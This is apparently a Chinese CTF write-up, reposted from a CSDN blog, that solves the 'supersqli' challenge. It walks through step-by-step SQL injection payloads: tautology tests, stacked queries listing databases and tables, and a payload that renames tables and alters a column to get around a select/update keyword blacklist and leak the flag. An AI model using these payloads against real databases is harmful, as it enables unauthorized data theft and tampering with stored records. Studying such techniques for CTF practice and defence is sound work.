1、打开显示f12是没有灵魂的

2、使用万能的sql注入语句 1' or 1=1#

回显不正常,说明存在注入

3、开始判断有多少列,当开始判断到第三列时,回显不正常,说明只有两列

4、现在就开始注入了

但是在用联合查询时并没有返回想要的信息,出现了一串

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

上网冲浪了解了一波,好像是类似黑名单,这些词会被替换,那没办法了,我们就用堆叠注入

PHP preg_replace() 正则替换,与Javascript 正则替换不同,PHP preg_replace() 默认就是替换所有符号匹配条件的元素。

复制代码 代码如下:

preg_replace (正则表达式, 替换成, 字符串, 最大替换次数【默认-1,无数次】, 替换次数)

  • -1';show databases;#

  • -1';use supersqli;show tables;#
  •   -1';use supersqli;show columns from `1919810931114514`;#

这里数字要用反引号包裹

  • 接下来应该select flag from `1919810931114514`,但是select被过滤了只要网上冲浪看看大佬们怎么做的

我们查询word列发现结构大致相同,由于注入框的查询是对列id的搜索,此时参考两个表的列名,需要将flag列名改为能够查找的id列(修改包括名称和数据类型)。

接下来输入:1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#

  • 在用1' or 1=1#就查出来了

借鉴一个大神的

第二个方法是将两个表列名互换,查询语句不变的情况下,会直接查询words表中内容。

RENAME TABLE tbl_name TO new_tbl_name 将表tbl_name的名字改成new_tbl_name。

由于注入框的查询是对列id的搜索,此时参考两个表的列名,需要将flag列名改为能够查找的id列(修改包括名称和数据类型)。

ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;

1

具体为什么修改为CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL就是数据库数据类型的问题了。

将操作连贯起来,构造Payload。

';RENAME TABLE `words` TO `word`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;SHOW columns FROM words;

1

到这里我们的表列名就已经修改完毕,此时还会输出修改完成的words列名,最后通过万能钥匙1' or '1'='1即可得到输出。

array(6) {
  [0]=>
  string(2) "id"
  [1]=>
  string(12) "varchar(100)"
  [2]=>
  string(2) "NO"
  [3]=>
  string(0) ""
  [4]=>
  NULL
  [5]=>
  string(0) ""
}

————————————————
版权声明:本文为CSDN博主「ch3uhx9」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_45969062/article/details/114683113

攻防世界——supersqli相关推荐

  1. 攻防世界supersqli—wp

    题目很明显,应该就是SQL注入,提交1试试 有回显,那就再提交 1' 报错了,直接查数据库看看 提交1'; select databases --+ what's up?select,update,w ...

  2. 攻防世界 supersqli

    本道题考查的是sql注入中的堆叠注入 该题只有一个查询框,我们尝试使用联合注入,但是发现select等被过滤了 所以我们尝试使用堆叠注入,堆叠注入就是使用分号隔开要执行的多条sql语句,且可执行任意的 ...

  3. 攻防世界-supersqli(堆叠注入)

    输入1正常显示,输入1'报错,可以判定是注入  输入2可以,3不行,可以知道有2个字段 然后判定回显位 1' union select 1,2# 过滤了挺多东西的,双写select也无法绕过 看了wp ...

  4. 攻防世界——supersqli进阶

    关于sqil的题目,这个真的是知识面太杂了.我研究了好几天,才看懂了这个题解. 打开场景以后,发现的是一个文本框,然后试一下有没有sql注入 先输入1发现回显正常,然后输入1'发现出现错误,然后就可以 ...

  5. 攻防世界(web篇)---supersqli

    文章目录 攻防世界(web篇)---supersqli 拿到题目后,发现是单引号报错字符型注入 order by 2的时候页面正常回显,order by 3的时候页面出错 接下来union查询,发现被 ...

  6. 攻防世界 sql注入

    攻防世界supersql(兼buuctf随便注) 首先添加一个单引号1' --+发现出错. error 1064 : You have an error in your SQL syntax; che ...

  7. 攻防世界-web高手进阶区

    文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...

  8. web做题记录(buuoj,jarvis,攻防世界,bugku,hackme)

    web做题笔记 文章目录 web做题笔记 buuoj easy_tornado 随便注 warmup easysql 高明的黑客 jarvisoj re? flag在管理员手上 api调用 chopp ...

  9. 【攻防世界001】Guess-the-Number

    攻防世界之前刷了几十题了,没写wp,感觉很简单没啥意思.后来参加了几次比赛,发现有点干不动,决定还是老老实实刷题好了.这是第一篇wp,这题很简单,是个jar,用jd-gui可以得到java源码. 原来 ...

最新文章

  1. PCL点云分割(1)
  2. Java源码分析:深入探讨Iterator模式
  3. GIT项目管理工具(part1)--简介及概念
  4. HTTP协议快速入门
  5. 第五——十三章的作业
  6. Unity3D-光照系统
  7. Unknown system variable 'tx_isolation'报错
  8. 为了生产iPhone 12,富士康连国庆节也没假放了
  9. 外网访问内网Tornado
  10. std::thread的常用参数传递总结
  11. python(3)-内置函数2
  12. AI产品经理,如何面对数据挖掘?
  13. CSS动画入门:一分钟实现球体上下跳动动画效果
  14. jq bind命名空间
  15. 如何有效练习英语口语
  16. 【Java Swing探索之路系列】之二:Java Swing布局面板组件
  17. mac(苹果电脑系统)安装vs code编译运行c/c++
  18. 流量计脉冲频率0-100Hz转电压电流4-20mA信号隔离变送器
  19. 软件测试江湖(二)神兵利器篇
  20. 原型 van Emde Boas 树

热门文章

  1. 秋色园QBlog技术原理解析:性能优化篇:access的并发极限及超级分库分散并发方案(十六)...
  2. 前端开发:组件之间的传值(父传子、子传父、兄弟组件之间传值)的使用
  3. 利用QPainter、QColor绘制黑白棋盘功能
  4. mysql查询18至28岁的人,MariaDB第三章(select)基本查询
  5. linux 中.a和.so的区别
  6. 函数声明与函数表达式的提升问题
  7. 盘点那些《隐秘的角落》带来的影响
  8. mac修改默认python版本_Mac系统修改Python版本软链接
  9. 【一周头条盘点】中国软件网(2018.10.29~2018.11.2)
  10. 病理与病理生理学【2】